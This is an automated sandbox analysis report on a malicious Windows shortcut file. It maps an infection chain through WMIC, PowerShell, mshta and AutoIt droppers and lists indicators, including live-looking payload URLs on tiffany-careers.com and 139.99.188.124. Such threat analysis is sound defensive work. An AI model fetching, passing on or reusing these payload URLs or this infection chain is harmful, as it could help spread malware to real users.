Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D96E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,31_2_00D96E32
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
2
Valid Accounts
21
Windows Management Instrumentation
1
Scripting
1
Exploitation for Privilege Escalation
1
Disable or Modify Tools
21
Input Capture
2
System Time Discovery
Remote Services1
Archive Collected Data
12
Ingress Tool Transfer
Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts2
Native API
1
DLL Side-Loading
1
DLL Side-Loading
1
Deobfuscate/Decode Files or Information
LSASS Memory1
Account Discovery
Remote Desktop Protocol1
Email Collection
11
Encrypted Channel
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts2
Command and Scripting Interpreter
2
Valid Accounts
2
Valid Accounts
2
Obfuscated Files or Information
Security Account Manager2
File and Directory Discovery
SMB/Windows Admin Shares21
Input Capture
3
Non-Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal Accounts3
PowerShell
2
Registry Run Keys / Startup Folder
21
Access Token Manipulation
1
DLL Side-Loading
NTDS38
System Information Discovery
Distributed Component Object Model3
Clipboard Data
24
Application Layer Protocol
Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script12
Process Injection
231
Masquerading
LSA Secrets151
Security Software Discovery
SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts2
Registry Run Keys / Startup Folder
2
Valid Accounts
Cached Domain Credentials31
Virtualization/Sandbox Evasion
VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
Virtualization/Sandbox Evasion
DCSync13
Process Discovery
Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
Access Token Manipulation
Proc Filesystem11
Application Window Discovery
Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
Process Injection
/etc/passwd and /etc/shadow1
System Owner/User Discovery
Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579759 Sample: nTyPEbq9wQ.lnk Startdate: 23/12/2024 Architecture: WINDOWS Score: 100 106 tiffany-careers.com 2->106 108 nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs 2->108 110 fg.microsoft.map.fastly.net 2->110 126 Malicious sample detected (through community Yara rule) 2->126 128 Windows shortcut file (LNK) starts blacklisted processes 2->128 130 Multi AV Scanner detection for dropped file 2->130 132 15 other signatures 2->132 15 WMIC.exe 1 2->15         started        18 wscript.exe 2->18         started        20 msedge.exe 64 377 2->20         started        23 svchost.exe 1 2 2->23         started        signatures3 process4 dnsIp5 156 Contains functionality to create processes via WMI 15->156 158 Creates processes via WMI 15->158 25 powershell.exe 7 15->25         started        28 conhost.exe 1 15->28         started        160 Windows Scripting host queries suspicious COM object (likely to drop second stage) 18->160 30 SwiftWrite.pif 18->30         started        114 192.168.2.9, 138, 443, 49541 unknown unknown 20->114 116 239.255.255.250 unknown Reserved 20->116 32 msedge.exe 20->32         started        35 msedge.exe 20->35         started        37 msedge.exe 20->37         started        39 msedge.exe 20->39         started        118 127.0.0.1 unknown unknown 23->118 signatures6 process7 dnsIp8 148 Windows shortcut file (LNK) starts blacklisted processes 25->148 150 Drops PE files to the user root directory 25->150 152 Powershell drops PE file 25->152 41 powershell.exe 7 25->41         started        44 conhost.exe 25->44         started        100 googlehosted.l.googleusercontent.com 172.217.17.65, 443, 49775, 49803 GOOGLEUS United States 32->100 102 chrome.cloudflare-dns.com 172.64.41.3, 443, 49776, 49777 CLOUDFLARENETUS United States 32->102 104 3 other IPs or domains 32->104 signatures9 process10 signatures11 154 Windows shortcut file (LNK) starts blacklisted processes 41->154 46 mshta.exe 16 41->46         started        process12 dnsIp13 120 tiffany-careers.com 147.45.49.155, 443, 49722, 49735 FREE-NET-ASFREEnetEU Russian Federation 46->120 92 C:\Users\user\...\HA_19-12NGHEP_anh[1], PE32 46->92 dropped 122 Windows shortcut file (LNK) starts blacklisted processes 46->122 124 Suspicious powershell command line found 46->124 51 powershell.exe 14 18 46->51         started        file14 signatures15 process16 file17 84 C:\Users\user\AppData\Roaming\PefjSkkhb.exe, PE32+ 51->84 dropped 134 Binary is likely a compiled AutoIt script file 51->134 55 PefjSkkhb.exe 51->55         started        59 msedge.exe 11 51->59         started        61 conhost.exe 51->61         started        signatures18 process19 file20 86 C:\Users\Public\PublicProfile.ps1, ASCII 55->86 dropped 136 Windows shortcut file (LNK) starts blacklisted processes 55->136 138 Multi AV Scanner detection for dropped file 55->138 140 Suspicious powershell command line found 55->140 142 2 other signatures 55->142 63 powershell.exe 55->63         started        66 powershell.exe 55->66         started        69 msedge.exe 59->69         started        signatures21 process22 dnsIp23 94 C:\Users\Public\Secure.au3, Unicode 63->94 dropped 71 Guard.exe 63->71         started        75 conhost.exe 63->75         started        112 139.99.188.124, 49780, 49813, 80 OVHFR Canada 66->112 96 C:\Users\Publicbehaviorgraphuard.exe, PE32 66->96 dropped 77 conhost.exe 66->77         started        file24 process25 file26 88 C:\Users\user\AppData\...\SwiftWrite.pif, PE32 71->88 dropped 90 C:\Users\user\AppData\Local\...\SwiftWrite.js, ASCII 71->90 dropped 144 Windows shortcut file (LNK) starts blacklisted processes 71->144 146 Drops PE files with a suspicious file extension 71->146 79 cmd.exe 71->79         started        signatures27 process28 file29 98 C:\Users\user\AppData\...\SwiftWrite.url, MS 79->98 dropped 82 conhost.exe 79->82         started        process30

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
nTyPEbq9wQ.lnk21%ReversingLabsWin32.Trojan.Pantera
nTyPEbq9wQ.lnk24%VirustotalBrowse
SourceDetectionScannerLabelLink
C:\Users\Public\Guard.exe8%ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]53%ReversingLabsWin32.Dropper.Lumma
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif8%ReversingLabs
C:\Users\user\AppData\Roaming\PefjSkkhb.exe32%ReversingLabsWin32.Exploit.Generic
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
fg.microsoft.map.fastly.net
199.232.214.172
truefalse
    high
    chrome.cloudflare-dns.com
    172.64.41.3
    truefalse
      high
      ssl.bingadsedgeextension-prod-europe.azurewebsites.net
      94.245.104.56
      truefalse
        high
        s-part-0035.t-0009.t-msedge.net
        13.107.246.63
        truefalse
          high
          googlehosted.l.googleusercontent.com
          172.217.17.65
          truefalse
            high
            tiffany-careers.com
            147.45.49.155
            truefalse
              high
              clients2.googleusercontent.com
              unknown
              unknownfalse
                high
                bzib.nelreports.net
                unknown
                unknownfalse
                  high
                  nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs
                  unknown
                  unknownfalse
                    high
                    NameMaliciousAntivirus DetectionReputation
                    https://tiffany-careers.com/New_2025.webpfalse
                      unknown
                      http://139.99.188.124/kiiMftrue
                        unknown
                        https://tiffany-careers.com/HA_19-12NGHEP_anhtrue
                          unknown
                          https://tiffany-careers.com/PefjSkkhb.exetrue
                            unknown
                            https://chrome.cloudflare-dns.com/dns-queryfalse
                              high
                              http://139.99.188.124/QWCheljD.txttrue
                                unknown
                                https://clients2.googleusercontent.com/crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crxfalse
                                  high
                                  NameSourceMaliciousAntivirus DetectionReputation
                                  https://tiffany-careers.com/HA_19-12NGHEP_anhN%mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                    unknown
                                    https://tiffany-careers.com/HA_19-12NGHEP_anhk%?mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                      unknown
                                      https://tiffany-careers.com/HA_19-12NGHEP_anhdllmshta.exe, 00000006.00000002.1692881727.0000023F45918000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmpfalse
                                        unknown
                                        https://tiffany-careers.compowershell.exe, 00000009.00000002.1548044895.0000024F62C4A000.00000004.00000800.00020000.00000000.sdmptrue
                                          unknown
                                          http://crl.microsoft~powershell.exe, 00000009.00000002.1647096807.0000024F7AC50000.00000004.00000020.00020000.00000000.sdmpfalse
                                            unknown
                                            https://contoso.com/Licensepowershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpfalse
                                              high
                                              http://139.99.188.124/kiiMfHiPefjSkkhb.exe, 00000012.00000002.1598905684.000001C1375E2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                unknown
                                                https://tiffany-careers.com/HA_19-12NGHEP_anhITpowershell.exe, 00000005.00000002.1404551947.000001F6EABB0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  unknown
                                                  https://tiffany-careers.com/HA_19-12NGHEP_anhxpowershell.exe, 00000005.00000002.1404964086.000001F6EC97F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    unknown
                                                    https://tiffany-careers.com/New_2025.webp0powershell.exe, 00000009.00000002.1548044895.0000024F62C4A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      unknown
                                                      https://www.autoitscript.com/autoit3/Guard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000002.2614078570.000000000391F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        high
                                                        https://tiffany-careers.com/PefjSkkhb.exeppowershell.exe, 00000009.00000002.1548044895.0000024F62ECF000.00000004.00000800.00020000.00000000.sdmptrue
                                                          unknown
                                                          https://tiffany-careers.com/HA_19-12NGHEP_anhppowershell.exe, 00000005.00000002.1398818179.000001F680001000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            unknown
                                                            https://tiffany-careers.com/HA_19-12NGHEP_anhA-PCUSERDOMAIN_ROAMINmshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              unknown
                                                              https://tiffany-careers.com/HA_19-12NGHEP_anhk=7mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                unknown
                                                                https://tiffany-careers.com/HA_19-12NGHEP_anh5%Umshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  unknown
                                                                  https://contoso.com/powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    high
                                                                    https://nuget.org/nuget.exepowershell.exe, 00000009.00000002.1596053315.0000024F72A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      high
                                                                      https://oneget.orgXpowershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        high
                                                                        https://tiffany-careers.com/HA_19-12NGHEP_anh...emshta.exe, 00000006.00000003.1670459856.0000023F40251000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691564346.0000023F40251000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          unknown
                                                                          http://139.99.Hpowershell.exe, 00000019.00000002.1664261404.0000026D0C1B4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            high
                                                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000005.00000002.1398818179.000001F680094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1548044895.0000024F62A21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0AE51000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              high
                                                                              https://tiffany-careers.com/HA_19-12NGHEP_anhLAPPmshta.exe, 00000006.00000002.1691021357.000002373D860000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                unknown
                                                                                https://tiffany-careers.com/HA_19-12NGHEP_anhC:mshta.exe, 00000006.00000003.1656420097.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689128615.000002373D6B0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687434395.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D798000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690836337.000002373D798000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  unknown
                                                                                  http://www.autoitscript.com/autoit3/JGuard.exe, 0000001B.00000003.1681700904.00000000046F1000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001B.00000000.1655427947.0000000000399000.00000002.00000001.01000000.00000010.sdmp, SwiftWrite.pif, 0000001F.00000000.1789384786.0000000000DE9000.00000002.00000001.01000000.00000011.sdmpfalse
                                                                                    high
                                                                                    https://tiffany-careers.com/HA_19-12NGHEP_anh#%Gmshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      unknown
                                                                                      http://nuget.org/NuGet.exepowershell.exe, 00000009.00000002.1596053315.0000024F72A8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C842000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        high
                                                                                        http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          high
                                                                                          https://tiffany-careers.com/HA_19-12NGHEP_anhBpowershell.exe, 00000005.00000002.1402626568.000001F6EA95E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            unknown
                                                                                            https://tiffany-careers.com/HA_19-12NGHEP_anhHmshta.exe, 00000006.00000002.1690879846.000002373D7E0000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              unknown
                                                                                              https://tiffany-careers.com/HA_19-12NGHEP_anhYYC:mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                unknown
                                                                                                http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  high
                                                                                                  http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    high
                                                                                                    https://go.micropowershell.exe, 00000019.00000002.1664261404.0000026D0BF94000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      high
                                                                                                      https://cdnjs.cloudflare.com/ajax/libs/mathjax/offscreendocument_main.js.13.drfalse
                                                                                                        high
                                                                                                        https://contoso.com/Iconpowershell.exe, 00000019.00000002.1849040364.0000026D1AEC7000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          high
                                                                                                          https://tiffany-careers.com/mshta.exe, 00000006.00000002.1690678814.000002373D762000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                            unknown
                                                                                                            http://crl.ver)svchost.exe, 00000008.00000002.2613660225.0000013311284000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              high
                                                                                                              https://tiffany-careers.com/HA_19-12NGHEP_anh7mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                unknown
                                                                                                                https://tiffany-careers.com/HA_19-12NGHEP_anhocalmshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  unknown
                                                                                                                  https://tiffany-careers.com/HA_19-12NGHEP_anhowsmshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    unknown
                                                                                                                    https://github.com/Pester/Pesterpowershell.exe, 00000019.00000002.1664261404.0000026D0C6CD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      high
                                                                                                                      https://tiffany-careers.com/HA_19-12NGHEP_anh1mshta.exe, 00000006.00000002.1692734044.0000023F441B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                        unknown
                                                                                                                        https://tiffany-careers.com/HA_19-12NGHEP_anhdmshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D6F3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          unknown
                                                                                                                          https://tiffany-careers.com/HA_19-12NGHEP_anhR%8mshta.exe, 00000006.00000002.1689128615.000002373D6BE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            unknown
                                                                                                                            https://tiffany-careers.com/HA_19-12NGHEP_anhhpowershell.exe, 00000005.00000002.1402626568.000001F6EA95E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1398818179.000001F6804A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                              unknown
                                                                                                                              https://g.live.com/odclientsettings/Prod-C:svchost.exe, 00000008.00000003.1430460995.0000013311433000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                high
                                                                                                                                http://139.99.188.124powershell.exe, 00000019.00000002.1664261404.0000026D0B078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0C1B4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  high
                                                                                                                                  https://tiffany-careers.com/HA_19-12NGHEP_anh...y6mshta.exe, 00000006.00000003.1656620086.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692048779.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1664804605.0000023F402C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    unknown
                                                                                                                                    https://g.live.com/odclientsettings/ProdV2-C:svchost.exe, 00000008.00000003.1430460995.0000013311400000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                      high
                                                                                                                                      https://tiffany-careers.com/HA_19-12NGHEP_anh$global:?powershell.exefalse
                                                                                                                                        unknown
                                                                                                                                        https://tiffany-careers.com/HA_19-12NGHEP_anhhttps://tiffany-careers.com/HA_19-12NGHEP_anhmshta.exe, 00000006.00000003.1672606229.0000023F45AC5000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          unknown
                                                                                                                                          https://tiffany-careers.com/HA_19-12NGHEP_anhweLMEMmshta.exe, 00000006.00000002.1692881727.0000023F458FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F458FF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            unknown
                                                                                                                                            https://tiffany-careers.com/HA_19-12NGHEP_anhXmshta.exe, 00000006.00000002.1692881727.0000023F45918000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                              unknown
                                                                                                                                              https://aka.ms/pscore68powershell.exe, 00000005.00000002.1398818179.000001F68005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1398818179.000001F680047000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1548044895.0000024F62A21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1664261404.0000026D0AE51000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                high
                                                                                                                                                http://crl.vpowershell.exe, 00000005.00000002.1404964086.000001F6EC8F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                  high
                                                                                                                                                  https://oneget.orgpowershell.exe, 00000019.00000002.1664261404.0000026D0C4AB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                    high
                                                                                                                                                    https://tiffany-careers.com/HA_19-12NGHEP_anhNmshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D726000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                      unknown
                                                                                                                                                      • No. of IPs < 25%
                                                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                                                      • 75% < No. of IPs
                                                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                      147.45.49.155
                                                                                                                                                      tiffany-careers.comRussian Federation
                                                                                                                                                      2895FREE-NET-ASFREEnetEUfalse
                                                                                                                                                      139.99.188.124
                                                                                                                                                      unknownCanada
                                                                                                                                                      16276OVHFRtrue
                                                                                                                                                      104.126.116.105
                                                                                                                                                      unknownUnited States
                                                                                                                                                      20940AKAMAI-ASN1EUfalse
                                                                                                                                                      239.255.255.250
                                                                                                                                                      unknownReserved
                                                                                                                                                      unknownunknownfalse
                                                                                                                                                      172.217.17.65
                                                                                                                                                      googlehosted.l.googleusercontent.comUnited States
                                                                                                                                                      15169GOOGLEUSfalse
                                                                                                                                                      172.64.41.3
                                                                                                                                                      chrome.cloudflare-dns.comUnited States
                                                                                                                                                      13335CLOUDFLARENETUSfalse
                                                                                                                                                      IP
                                                                                                                                                      192.168.2.9
                                                                                                                                                      127.0.0.1
                                                                                                                                                      Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                      Analysis ID:1579759
                                                                                                                                                      Start date and time:2024-12-23 08:38:52 +01:00
                                                                                                                                                      Joe Sandbox product:CloudBasic
                                                                                                                                                      Overall analysis duration:0h 10m 32s
                                                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                                                      Report type:full
                                                                                                                                                      Cookbook file name:default.jbs
                                                                                                                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                      Number of analysed new started processes analysed:36
                                                                                                                                                      Number of new started drivers analysed:0
                                                                                                                                                      Number of existing processes analysed:0
                                                                                                                                                      Number of existing drivers analysed:0
                                                                                                                                                      Number of injected processes analysed:0
                                                                                                                                                      Technologies:
                                                                                                                                                      • HCA enabled
                                                                                                                                                      • EGA enabled
                                                                                                                                                      • AMSI enabled
                                                                                                                                                      Analysis Mode:default
                                                                                                                                                      Analysis stop reason:Timeout
                                                                                                                                                      Sample name:nTyPEbq9wQ.lnk
                                                                                                                                                      renamed because original name is a hash value
                                                                                                                                                      Original Sample Name:3f07684c8928f37a94395ac341b222b4.lnk
                                                                                                                                                      Detection:MAL
                                                                                                                                                      Classification:mal100.expl.evad.winLNK@74/253@14/8
                                                                                                                                                      EGA Information:
                                                                                                                                                      • Successful, ratio: 42.9%
                                                                                                                                                      HCA Information:
                                                                                                                                                      • Successful, ratio: 99%
                                                                                                                                                      • Number of executed functions: 59
                                                                                                                                                      • Number of non-executed functions: 242
                                                                                                                                                      Cookbook Comments:
                                                                                                                                                      • Found application associated with file extension: .lnk
                                                                                                                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe
                                                                                                                                                      • Excluded IPs from analysis (whitelisted): 23.218.208.109, 13.107.42.16, 13.107.21.239, 204.79.197.239, 172.217.17.78, 13.107.6.158, 2.19.198.56, 23.32.238.138, 2.16.158.83, 2.16.158.80, 2.16.158.91, 2.16.158.75, 2.16.158.169, 2.16.158.90, 2.16.158.96, 2.16.158.170, 2.16.158.82, 2.16.158.74, 142.250.80.99, 142.251.32.99, 142.251.40.227, 13.107.246.63, 94.245.104.56, 4.245.163.56, 13.107.246.40, 23.200.0.6
                                                                                                                                                      • Excluded domains from analysis (whitelisted): config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, e86303.dscx.akamaiedge.net, www.bing.com.edgekey.net, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, l-0007.l-msedge.net, config.edge.skype.com, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, cdp-f-tlu-net.trafficmanager.net, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, bzib.nelreports.net.akamaized.net, otelrules.azureedge.net, api.edgeoffer.microsoft.com, b-0005.b-msedge.net, www-www.bing.com.trafficmanager.net, edge.microsoft.com, business-bing-com.b-0005.b-msedge.net, fe3cr.delivery.mp.microsoft.com, l-0007.config.skype
                                                                                                                                                      • Execution Graph export aborted for target mshta.exe, PID 2764 because there are no executed function
                                                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 1820 because it is empty
                                                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 5860 because it is empty
                                                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 8348 because it is empty
                                                                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                      • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                      • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                      • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
